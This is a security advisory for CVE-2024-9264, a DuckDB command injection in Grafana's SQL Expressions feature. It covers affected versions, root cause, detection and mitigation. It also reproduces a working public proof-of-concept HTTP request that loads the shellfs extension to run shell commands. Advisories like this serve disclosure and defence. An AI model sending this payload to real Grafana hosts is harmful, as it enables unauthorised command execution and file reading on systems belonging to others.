Grafana SQL Expressions DuckDB Command Injection

Product: Grafana Labs Grafana
CVE: CVE-2024-9264
Disclosed: 2024-10-18
CVSS: 9.9
Auth: requires auth / interaction
CISA KEV: no
Affected: Grafana 11.0.0 - 11.0.5, 11.1.0 - 11.1.6, 11.2.0 - 11.2.1 (only if duckdb binary is in PATH)
Fixed: 11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6, 11.1.7, 11.2.2

Summary

Grafana's experimental SQL Expressions feature passed queries straight to DuckDB. Any Viewer could read files and, by loading a DuckDB extension, run shell commands, provided the duckdb binary was installed.

Root cause

SQL Expressions sent user-provided SQL to a duckdb CLI subprocess with insufficient sanitization and the feature was reachable even though it was flagged experimental. DuckDB functions like read_blob read local files, and installing the community shellfs extension lets read_csv() execute a piped shell command.

Impact

Local file inclusion and remote command execution for any authenticated user with Viewer rights.

Public PoC

POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101
{
  "queries": [{
    "datasource": {"name": "Expression", "type": "__expr__", "uid": "__expr__"},
    "expression": "SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('id >/tmp/grafana_cmd_output 2>&1 |')",
    "refId": "B", "type": "sql"
  }]
}

Source: nollium/CVE-2024-9264

Detection

Look for POST /api/ds/query requests with datasource type __expr__ and type 'sql' containing read_blob, shellfs or INSTALL; check for duckdb in Grafana's PATH.

Mitigation

Upgrade to a fixed release or remove the duckdb binary from the Grafana host's PATH.